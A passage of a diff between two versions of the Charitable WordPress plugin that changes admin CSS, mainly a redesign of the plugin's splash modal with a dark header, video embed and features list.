255);box-shadow:rgba(0, 0, 0, 0.05) 0px 2px 5px 0px;padding:5px;border-radius:3px}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image img{max-width:100%;display:block}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image .hover{position:absolute;opacity:0;height:calc(100% - 10px);width:calc(100% - 10px);top:0;left:0;border:5px solid #ffffff;background-color:rgba(0, 0, 0, 0.15);background-image:url(..\u002F..\u002Fimages\u002Fpro\u002Ficons\u002Fzoom.svg);background-repeat:no-repeat;background-position:center;background-size:50px;transition:all 0.3s;box-sizing:initial}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image:hover .hover{opacity:1;transition:all 0.3s}.charitable-education-page .charitable-education-page-caps{max-width:986px;box-sizing:content-box;box-shadow:rgba(0, 0, 0, 0.05) 0px 2px 4px;background:rgb(255, 255, 255);border-radius:6px;padding:20px 20px 0 20px;overflow:auto}.charitable-education-page .charitable-education-page-caps p{font-weight:600;font-size:16px;line-height:23px;color:#32373c;margin-bottom:20px;margin-top:0}.charitable-education-page .charitable-education-page-caps ul{display:flex;flex-wrap:wrap;margin:0}.charitable-education-page .charitable-education-page-caps ul li{flex:0 0 calc(33.333% - 40px);font-weight:400;font-size:14px;line-height:20px;color:rgb(80, 87, 94);margin-bottom:20px;position:relative;padding-left:20px;padding-right:20px}.charitable-education-page .charitable-education-page-caps ul li i{margin-right:10px;position:absolute;top:2px;left:0}.charitable-education-page .charitable-education-page-button{margin-top:25px}.charitable-education-page .charitable-education-page-button a{font-size:16px;font-weight:600;padding:16px 28px !important;background-color:#5AA152 !important;color:#ffffff !important}.charitable-education-page .charitable-education-page-button a:hover{background-color:#4a8742 !important}.charitable-education-page .charitable-education-page-disabled-download{margin-top:25px}.charitable-education-page .charitable-education-page-disabled-download p{font-size:16px;font-weight:600;color:#d63638}body.charitable-admin-promotion-footer #wpbody{padding-bottom:150px !important}#wpfooter .charitable-footer-promotion{text-align:center;font-weight:400;font-size:13px;line-height:normal;color:#646970;padding:30px 0;margin-bottom:20px}#wpfooter .charitable-footer-promotion p{font-weight:600}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links,#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social{display:flex;justify-content:center;align-items:center}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links{margin:10px 0;color:#646970}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links a{color:#056aab}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links a:hover{color:#04558a}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links span{color:#c3c4c7;padding:0 7px}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social{gap:10px;margin:0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li{margin-bottom:0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li path{color:#646970}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li:hover path{fill:#50575e}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li a{display:block;height:16px}#wpfooter #footer-left{color:#50575e;font-size:13px;font-style:normal;font-weight:400;line-height:normal}#wpfooter #footer-left strong{font-weight:600}@media (max-width:782px){body.charitable-admin-promotion-footer #wpbody{padding-bottom:200px !important}#wpfooter .charitable-footer-promotion{padding:20px 0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links{flex-direction:column;gap:10px}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links li{margin:0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social{margin-top:20px}}#wpadminbar .charitable-test-mode-active .charitable-test-mode-badge{color:#fff;background-color:#E89940 !important;font-weight:600;padding:0px 8px;border-radius:4px;margin:0 4px;display:inline-block;white-space:nowrap;border:2px solid black;font-size:12px;line-height:25px}#wpadminbar .charitable-test-mode-active .charitable-test-mode-badge::before{content:\"⚠ \";margin-right:4px;font-weight:bold}#wpadminbar .charitable-test-mode-active:hover .charitable-test-mode-badge{background-color:#d68a37 !important}@keyframes charitable-test-mode-flash{0%{background-color:transparent}50%{background-color:rgba(232, 153, 64, 0.5);color:white}100%{background-color:transparent}}tr.charitable-settings-field.charitable-test-mode-checkbox.charitable-test-mode-flash{animation:charitable-test-mode-flash 2s ease-in-out}.charitable-global-upgrade-cta{width:fit-content;margin-left:auto;margin-right:auto;padding:20px 80px;background:white}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-title{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:700;font-style:normal;font-size:20px;line-height:33px;letter-spacing:0.01em;text-align:center;color:rgba(25, 29, 45, 0.8);margin:0;padding-top:10px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features{display:flex;gap:10px 10px;margin:30px auto;max-width:530px;justify-content:center}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-column{flex:1;max-width:300px;display:flex;flex-direction:column;gap:20px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature{display:flex;align-items:flex-start;gap:12px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-checkmark{width:18px;height:18px;flex-shrink:0;margin-top:2px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-feature-text{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:500;font-size:14px;line-height:150%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8);margin:0}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions{display:flex;flex-direction:column;align-items:center;gap:20px;margin-top:30px;padding-bottom:20px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button{background:rgb(218, 144, 33);border:none;border-radius:4px;padding:22px 42px;font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:600;font-size:19px;line-height:100%;letter-spacing:0px;color:white;cursor:pointer;transition:background 0.2s ease;text-decoration:none}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button:hover{background:rgb(196, 130, 30)}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:600;font-size:14px;line-height:150%;letter-spacing:0px;text-align:center;text-decoration:underline;color:rgba(25, 29, 45, 0.5);transition:color 0.2s ease}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link:hover{color:rgba(25, 29, 45, 0.7)}#charitable-reports .charitable-report-table-container .reports-lite-cta{margin:auto !important;box-shadow:0 2px 8px rgba(0, 0, 0, 0.1)}\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-splash.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-splash.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-splash.css\t2025-09-24 16:00:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-splash.css\t2026-05-11 23:16:48.000000000 +0000\n@@ -483,3 +483,131 @@\n     display: none;\n   }\n }\n+\n+\u002F* ---------------------------------------------------------------------------\n+ * Splash redesign (1.8.10): dark hero, full-width sections, video, more-features.\n+ * Ported from Charitable Pro splash. Scoped to #charitable-splash-modal so it\n+ * only affects the splash screen, not other admin UI.\n+ * ------------------------------------------------------------------------- *\u002F\n+#charitable-splash-modal header {\n+  padding: 50px 40px;\n+  background: #2c3338;\n+  color: #ffffff;\n+}\n+#charitable-splash-modal header h2 {\n+  color: #ffffff;\n+}\n+#charitable-splash-modal header .charitable-splash-header-content p {\n+  color: rgba(255, 255, 255, 0.7);\n+}\n+\n+#charitable-splash-modal main .charitable-splash-section {\n+  margin-bottom: 0;\n+  padding: 40px;\n+  border-bottom: 1px solid #ccc;\n+}\n+#charitable-splash-modal main .charitable-splash-section:last-child {\n+  border-bottom: none;\n+}\n+\n+#charitable-splash-modal main .charitable-splash-section:first-child {\n+  background: #2c3338;\n+  padding: 0 40px 40px 40px;\n+  margin-bottom: 0;\n+  border-bottom: none;\n+}\n+#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-section-content,\n+#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-section-content h3 {\n+  color: #ffffff;\n+}\n+#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-section-content p {\n+  color: rgba(255, 255, 255, 0.7);\n+}\n+#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-badge {\n+  background-color: rgba(255, 255, 255, 0.15);\n+  color: #ffffff;\n+}\n+\n+#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content {\n+  text-align: left !important;\n+}\n+#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content .charitable-splash-section-buttons {\n+  justify-content: start !important;\n+}\n+#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image {\n+  order: 1;\n+}\n+#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-content {\n+  order: 2;\n+}\n+#charitable-splash-modal main .charitable-splash-section.no-order .charitable-splash-section-content,\n+#charitable-splash-modal main .charitable-splash-section.no-order .charitable-splash-section-image {\n+  order: revert;\n+}\n+\n+#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap {\n+  width: 100%;\n+}\n+#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap .charitable-splash-video-embed {\n+  position: relative;\n+  width: 100%;\n+  padding-top: 56.25%;\n+  border-radius: 6px;\n+  overflow: hidden;\n+  background: #000;\n+}\n+#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap .charitable-splash-video-embed iframe {\n+  position: absolute;\n+  top: 0;\n+  left: 0;\n+  width: 100%;\n+  height: 100%;\n+  border: 0;\n+}\n+#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap video {\n+  display: block;\n+  width: 100%;\n+  border-radius: 6px;\n+}\n+#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap video::-webkit-media-controls {\n+  opacity: 0;\n+  transition: opacity 0.2s ease;\n+}\n+#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap:hover video::-webkit-media-controls {\n+  opacity: 1;\n+}\n+\n+#charitable-splash-modal main .charitable-splash-section-more-features {\n+  display: block;\n+  padding: 30px 40px 40px;\n+  text-align: left;\n+}\n+#charitable-splash-modal main .charitable-splash-section-more-features h3 {\n+  font-size: 18px;\n+  font-weight: 600;\n+  color: #1d2327;\n+  margin: 0 15px 15px 0px !important;\n+  text-align: left;\n+}\n+#charitable-splash-modal main .charitable-splash-section-more-features ul.charitable-splash-more-features-list {\n+  display: grid;\n+  grid-template-columns: 1fr 1fr;\n+  gap: 8px 30px;\n+  list-style: none;\n+  padding: 0;\n+  margin: 0;\n+  color: #acacac;\n+  font-size: 16px;\n+  font-weight: 400;\n+  line-height: 22px;\n+  text-align: left;\n+}\n+#charitable-splash-modal main .charitable-splash-section-more-features ul.charitable-splash-more-features-list li {\n+  margin: 0;\n+  text-align: left;\n+  list-style: none;\n+}\n+\n+body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p {\n+  color: #acacac;\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-splash.min.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-splash.min.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-splash.min.css\t2025-09-24 16:00:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-splash.min.css\t2026-05-11 23:16:48.000000000 +0000\n@@ -1 +1 @@\n-body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default{max-width:1000px}body.charitable-splash-modal.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-content-pane{margin:0!important;width:100%!important}#charitable-splash-modal header{display:flex;align-items:center;gap:30px;padding:50px 100px;background:linear-gradient(180deg,#f6f7f7 0,rgba(246,247,247,0) 100%)}#charitable-splash-modal header .charitable-splash-header-content{text-align:left!important}#charitable-splash-modal header h2{color:#1d2327;font-size:24px;font-weight:700;margin:0 0 5px}#charitable-splash-modal header img{max-width:80px!important;max-height:80px;border:4px solid #fff;border-radius:40px;box-shadow:0 5px 15px rgba(0,0,0,.05);min-height:70px}#charitable-splash-modal main .charitable-splash-section{display:flex;align-items:center;gap:50px;margin-bottom:75px;padding:0 120px}#charitable-splash-modal main .charitable-splash-section .charitable-splash-badge{border-radius:3px;background-color:#edfaef;padding:8px 10px;color:#00ba37;text-align:center;font-size:10px;font-weight:700;line-height:10px;letter-spacing:.5px;text-transform:uppercase;cursor:default}#charitable-splash-modal main .charitable-splash-section h3{color:#1d2327;font-size:28px;font-weight:500;line-height:36px;margin:15px 0 10px}#charitable-splash-modal main .charitable-splash-section p{line-height:25px!important;opacity:.9}#charitable-splash-modal main .charitable-splash-section ul{list-style:revert;margin-left:2em}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-buttons{display:flex;align-items:flex-start;gap:20px;margin-top:20px}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-buttons .charitable-btn{padding:10px 15px;font-size:14px;line-height:normal;font-weight:500}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-fifty-fifty .charitable-splash-section-content{text-align:left!important;flex:1}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-fifty-fifty .charitable-splash-section-image{flex:1}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content{flex:2;text-align:right!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content .charitable-splash-section-buttons{justify-content:end!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-image{flex:1}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds-flipped .charitable-splash-section-content{flex:2;text-align:left!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds-flipped .charitable-splash-section-content .charitable-splash-section-buttons{justify-content:start!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds-flipped .charitable-splash-section-image{flex:1}#charitable-splash-modal main .charitable-splash-section:nth-child(odd) .charitable-splash-section-content{order:2}#charitable-splash-modal main .charitable-splash-section.no-order .charitable-splash-section-content{order:revert}#charitable-splash-modal main .charitable-splash-section:nth-child(odd) .charitable-splash-section-image{order:1}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image{flex:0 0 auto;align-self:center;justify-self:center}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image img{max-width:100%;height:auto}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image.charitable-image-shadow-apply img{box-shadow:0 15px 50px 0 rgba(0,0,0,.15)}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image.charitable-image-shadow-yes img{max-width:calc(100% + 60px);margin:-18px 0 -38px -30px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width{flex-direction:column;align-items:center;gap:0;text-align:center;padding:0}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content,#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-image{flex:revert;order:revert}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content{width:fit-content;background-color:#f6f7f7;padding:50px 100px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content .charitable-splash-badge{background-color:#fff}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content h3{font-size:32px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-image{width:100%;background:linear-gradient(180deg,#f6f7f7 50%,#fff 50%)}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-image img{max-width:760px;padding:10px;background:#fff;border-radius:9px;box-shadow:0 15px 50px rgba(0,0,0,.15)}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-buttons{justify-content:center}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width h3{margin-top:20px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width p{font-size:18px!important;line-height:28px!important}#charitable-splash-modal footer{display:flex;padding:50px 100px;align-items:center;gap:50px;background:#2c3338;box-shadow:0 2px 4px 0 rgba(0,0,0,.05)}#charitable-splash-modal footer .charitable-splash-footer-content{text-align:left!important}#charitable-splash-modal footer h2{margin:0 0 10px;color:#fff;font-size:28px;font-weight:500;line-height:36px}#charitable-splash-modal footer a{padding:11px 17px;font-size:16px;font-weight:500}#charitable-splash-modal footer p{color:rgba(255,255,255,.8)!important;line-height:25px!important;opacity:.9}#charitable-splash-modal .charitable-btn{border:1px;border-style:solid;border-radius:4px;cursor:pointer;display:inline-block;margin:0;text-decoration:none;text-align:center;vertical-align:middle;white-space:nowrap;box-shadow:none}#charitable-splash-modal .charitable-btn.inactive{cursor:no-drop;pointer-events:none;box-shadow:none;opacity:.5}#charitable-splash-modal .charitable-btn-orange{background-color:#e27730;border-color:#e27730;color:#fff}#charitable-splash-modal .charitable-btn-orange:active,#charitable-splash-modal .charitable-btn-orange:focus,#charitable-splash-modal .charitable-btn-orange:hover{background-color:#cd6622;border-color:#cd6622;color:#fff}#charitable-splash-modal .charitable-btn-orange:focus{box-shadow:0 0 0 2px #cd6622;border-color:#fff;outline:0}#charitable-splash-modal .charitable-btn-bordered{background-color:#fff;color:#50575e;border-color:#8c8f94}#charitable-splash-modal .charitable-btn-bordered:focus,#charitable-splash-modal .charitable-btn-bordered:hover{color:#2c3338;border-color:#50575e}#charitable-splash-modal .charitable-btn-bordered:focus{background-color:#fff;box-shadow:0 0 0 1px #50575e;outline:0}#charitable-splash-modal .charitable-btn-green{background-color:#008a20;color:#fff;border-color:#008a20}#charitable-splash-modal .charitable-btn-green:focus,#charitable-splash-modal .charitable-btn-green:hover{background-color:#00a32a;color:#fff}body.charitable-splash-modal{overflow:hidden;margin-right:var(--charitable-body-scrollbar-width)}body.charitable-splash-modal #wpadminbar{width:calc(100vw - var(--charitable-body-scrollbar-width))}body.charitable-splash-modal .jconfirm{overflow:hidden;bottom:revert;min-height:100vh;backdrop-filter:blur(4px);-webkit-backdrop-filter:blur(4px)}body.charitable-splash-modal .jconfirm .jconfirm-cell{vertical-align:top;overflow-y:auto;max-height:100vh;height:100vh;display:flex;justify-content:center;align-items:center}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar{background:0 0;width:15px;height:15px}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-track{background:0 0}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px 5px rgba(0,0,0,.05);background:0 0;border-radius:15px;border:solid 4px transparent}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-resizer,body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-button,body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-corner{display:none}@-moz-document url-prefix(){body.charitable-splash-modal .jconfirm .jconfirm-cell{scrollbar-color:rgba(0,0,0,0.05) transparent;scrollbar-gutter:initial!important;scrollbar-width:thin}}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar{background:0 0;width:15px;height:15px}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-track{background:0 0}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px 5px rgba(0,0,0,.3);background:0 0;border-radius:15px;border:solid 4px transparent}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-resizer,body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-button,body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-corner{display:none}@-moz-document url-prefix(){body.charitable-splash-modal .jconfirm .jconfirm-cell:hover{scrollbar-color:rgba(0,0,0,0.3) transparent;scrollbar-gutter:initial!important;scrollbar-width:thin}}body.charitable-splash-modal .jconfirm .jconfirm-cell .jc-bs3-container{padding-bottom:50px}body.charitable-splash-modal .jconfirm .jconfirm-cell .jconfirm-holder{width:100%;padding:0!important}body.charitable-splash-modal .jconfirm.jconfirm-open .jconfirm-bg{position:sticky;height:100%}body.charitable-splash-modal .jconfirm.jconfirm-open .jconfirm-scrollpane{margin-top:-100vh}body.charitable-splash-modal .jconfirm.jconfirm-modern .jconfirm-bg{background-color:#72777c;opacity:.75}body.charitable-splash-modal .jconfirm-box{max-width:1000px;width:100%!important}body.charitable-splash-modal .jconfirm-box-container{opacity:0;padding:0 50px}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box{border-radius:12px;box-shadow:0 15px 50px rgba(0,0,0,.15)}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default{padding:0;transition-duration:initial!important}body.charitable-splash-modal .jconfirm.jconfirm-modern .jconfirm-box div.jconfirm-content{text-align:revert}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane{display:block;margin-bottom:0;max-height:none!important}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content{color:#444;font-size:16px;line-height:24px;margin-bottom:0;overflow:inherit}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p{color:#50575e;font-size:16px;font-weight:400;line-height:22px;margin-block:0}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon{top:20px!important;right:20px!important}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon:after{font-size:20px}@media screen and (max-width:1024px){#charitable-splash-modal footer,#charitable-splash-modal header{padding:50px}#charitable-splash-modal main .charitable-splash-section{padding:0 50px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content{padding:50px}}@media screen and (max-width:768px){body.charitable-splash-modal .jconfirm{display:none}}\n\\ No newline at end of file\n+body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default{max-width:1000px}body.charitable-splash-modal.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-content-pane{margin:0!important;width:100%!important}#charitable-splash-modal header{display:flex;align-items:center;gap:30px;padding:50px 100px;background:linear-gradient(180deg,#f6f7f7 0,rgba(246,247,247,0) 100%)}#charitable-splash-modal header .charitable-splash-header-content{text-align:left!important}#charitable-splash-modal header h2{color:#1d2327;font-size:24px;font-weight:700;margin:0 0 5px}#charitable-splash-modal header img{max-width:80px!important;max-height:80px;border:4px solid #fff;border-radius:40px;box-shadow:0 5px 15px rgba(0,0,0,.05);min-height:70px}#charitable-splash-modal main .charitable-splash-section{display:flex;align-items:center;gap:50px;margin-bottom:75px;padding:0 120px}#charitable-splash-modal main .charitable-splash-section .charitable-splash-badge{border-radius:3px;background-color:#edfaef;padding:8px 10px;color:#00ba37;text-align:center;font-size:10px;font-weight:700;line-height:10px;letter-spacing:.5px;text-transform:uppercase;cursor:default}#charitable-splash-modal main .charitable-splash-section h3{color:#1d2327;font-size:28px;font-weight:500;line-height:36px;margin:15px 0 10px}#charitable-splash-modal main .charitable-splash-section p{line-height:25px!important;opacity:.9}#charitable-splash-modal main .charitable-splash-section ul{list-style:revert;margin-left:2em}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-buttons{display:flex;align-items:flex-start;gap:20px;margin-top:20px}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-buttons .charitable-btn{padding:10px 15px;font-size:14px;line-height:normal;font-weight:500}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-fifty-fifty .charitable-splash-section-content{text-align:left!important;flex:1}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-fifty-fifty .charitable-splash-section-image{flex:1}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content{flex:2;text-align:right!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content .charitable-splash-section-buttons{justify-content:end!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-image{flex:1}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds-flipped .charitable-splash-section-content{flex:2;text-align:left!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds-flipped .charitable-splash-section-content .charitable-splash-section-buttons{justify-content:start!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds-flipped .charitable-splash-section-image{flex:1}#charitable-splash-modal main .charitable-splash-section:nth-child(odd) .charitable-splash-section-content{order:2}#charitable-splash-modal main .charitable-splash-section.no-order .charitable-splash-section-content{order:revert}#charitable-splash-modal main .charitable-splash-section:nth-child(odd) .charitable-splash-section-image{order:1}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image{flex:0 0 auto;align-self:center;justify-self:center}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image img{max-width:100%;height:auto}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image.charitable-image-shadow-apply img{box-shadow:0 15px 50px 0 rgba(0,0,0,.15)}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image.charitable-image-shadow-yes img{max-width:calc(100% + 60px);margin:-18px 0 -38px -30px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width{flex-direction:column;align-items:center;gap:0;text-align:center;padding:0}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content,#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-image{flex:revert;order:revert}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content{width:fit-content;background-color:#f6f7f7;padding:50px 100px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content .charitable-splash-badge{background-color:#fff}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content h3{font-size:32px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-image{width:100%;background:linear-gradient(180deg,#f6f7f7 50%,#fff 50%)}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-image img{max-width:760px;padding:10px;background:#fff;border-radius:9px;box-shadow:0 15px 50px rgba(0,0,0,.15)}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-buttons{justify-content:center}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width h3{margin-top:20px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width p{font-size:18px!important;line-height:28px!important}#charitable-splash-modal footer{display:flex;padding:50px 100px;align-items:center;gap:50px;background:#2c3338;box-shadow:0 2px 4px 0 rgba(0,0,0,.05)}#charitable-splash-modal footer .charitable-splash-footer-content{text-align:left!important}#charitable-splash-modal footer h2{margin:0 0 10px;color:#fff;font-size:28px;font-weight:500;line-height:36px}#charitable-splash-modal footer a{padding:11px 17px;font-size:16px;font-weight:500}#charitable-splash-modal footer p{color:rgba(255,255,255,.8)!important;line-height:25px!important;opacity:.9}#charitable-splash-modal .charitable-btn{border:1px;border-style:solid;border-radius:4px;cursor:pointer;display:inline-block;margin:0;text-decoration:none;text-align:center;vertical-align:middle;white-space:nowrap;box-shadow:none}#charitable-splash-modal .charitable-btn.inactive{cursor:no-drop;pointer-events:none;box-shadow:none;opacity:.5}#charitable-splash-modal .charitable-btn-orange{background-color:#e27730;border-color:#e27730;color:#fff}#charitable-splash-modal .charitable-btn-orange:active,#charitable-splash-modal .charitable-btn-orange:focus,#charitable-splash-modal .charitable-btn-orange:hover{background-color:#cd6622;border-color:#cd6622;color:#fff}#charitable-splash-modal 